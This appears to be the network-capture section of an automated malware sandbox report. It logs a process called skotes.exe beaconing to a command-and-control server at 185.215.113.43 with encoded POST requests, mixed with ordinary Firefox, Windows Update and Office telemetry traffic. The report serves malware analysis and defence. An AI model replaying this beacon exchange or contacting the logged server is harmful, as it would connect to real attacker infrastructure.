Nov 24, 2024 04:23:49.793190956 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 04:23:50.878263950 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 08:50:47 GMT Age: 66783 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 04:23:56.996202946 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 04:23:57.438971996 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 08:50:47 GMT Age: 66790 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 04:23:58.068886995 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 04:23:58.383687973 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 08:50:47 GMT Age: 66791 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 04:24:02.361565113 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 04:24:02.676141977 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 08:50:47 GMT Age: 66795 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 04:24:09.912038088 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 04:24:10.226738930 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 08:50:47 GMT Age: 66803 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 24, 2024 04:24:10.258069992 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 24, 2024 04:24:10.573282957 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 08:50:47 GMT Age: 66803 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	50012	185.215.113.43	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:49.808866978 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 04:23:51.246517897 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:23:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	50033	185.215.113.43	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:53.024595976 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 04:23:54.399966955 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:23:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	50055	185.215.113.43	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:56.028270960 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 04:23:57.506531954 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:23:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	50070	185.215.113.43	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:23:59.232816935 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 24, 2024 04:24:00.619833946 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:24:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	50090	185.215.113.43	80	6480	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 24, 2024 04:24:02.251025915 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 42 32 37 37 36 42 38 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BB2776B85A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 24, 2024 04:24:03.638436079 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 24 Nov 2024 03:24:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	4.175.87.197	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:17 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=SrGlYPw41PRTGFr&MD=BoDgbOTN HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-24 03:22:18 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: ff5d9ae2-b2d0-4af8-b975-12e9ea223927 MS-RequestId: 3b0bf188-94b9-46b9-94f6-aa88abd0f323 MS-CV: sTa46ouLpUyffLip.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sun, 24 Nov 2024 03:22:17 GMT Connection: close Content-Length: 24490
2024-11-24 03:22:18 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-11-24 03:22:18 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.5	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:22:18 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:22:18 UTC	471	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:22:18 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 22 Nov 2024 01:49:48 GMT ETag: "0x8DD0A97F285E80B" x-ms-request-id: c1af2548-001e-00ad-39e4-3c554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032218Z-178bfbc474b7cbwqhC1NYC8z4n00000005a0000000009u39 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:22:18 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-24 03:22:18 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-24 03:22:18 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-24 03:22:18 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-24 03:22:19 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-24 03:22:19 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-24 03:22:19 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-24 03:22:19 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-24 03:22:19 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
